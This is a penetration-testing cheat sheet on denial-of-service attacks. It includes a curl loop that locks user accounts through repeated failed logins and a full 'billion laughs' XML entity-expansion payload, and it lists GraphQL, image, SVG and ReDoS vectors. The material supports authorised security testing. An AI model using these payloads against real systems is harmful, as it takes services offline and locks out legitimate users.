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PayloadsAllTheThings/Denial of Service/README.md
Swissky 25a664625d Denial of Service
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Denial of Service

A Denial of Service (DoS) attack aims to make a service unavailable by overwhelming it with a flood of illegitimate requests or exploiting vulnerabilities in the target's software to crash or degrade performance. In a Distributed Denial of Service (DDoS), attackers use multiple sources (often compromised machines) to perform the attack simultaneously.

Summary

DoS - Locking Customer Accounts

Example of Denial of Service that can occur when testing customer accounts. Be very careful as this is most likely out-of-scope and can have a high impact on the business.

  • Multiple attempts on the login page when the account is temporary/indefinitely banned after X bad attempts. 
    for i in {1..100}; do curl -X POST -d "username=user&password=wrong" <target_login_url>; done

DoS - File Limits on FileSystem

When a process is writing a file on the server, try to reach the maximum number of files allowed by the filesystem format. The system should output a message: No space left on device when the limit is reached.

Filesystem Maximum Inodes
BTRFS 2^64 (~18 quintillion)
EXT4 ~4 billion
FAT32 ~268 million files
NTFS ~4.2 billion (MFT entries)
XFS Dynamic (disk size)
ZFS ~281 trillion

An alternative of this technique would be to fill a file used by the application until it reaches the maximum size allowed by the filesystem, for example it can occur on a SQLite database or a log file.

FAT32 has a significant limitation of 4 GB, which is why it's often replaced with exFAT or NTFS for larger files.

Modern filesystems like BTRFS, ZFS, and XFS support exabyte-scale files, well beyond current storage capacities, making them future-proof for large datasets.

DoS - Memory Exhaustion - Technology Related

Depending on the technology used by the website, an attacker may have the ability to trigger specific functions or paradigm that will consume a huge chunk of memory

  • XML External Entity: Billion laughs attack/XML bomb 
    <?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
  • GraphQL: Deep Query
  • Image Resizing: try to send invalid pictures with modified headers, e.g: abnormal size, big number of pixels.
  • SVG handling: SVG file format is based on XML, try the billion laughs attack.
  • Regular Expression: ReDoS

References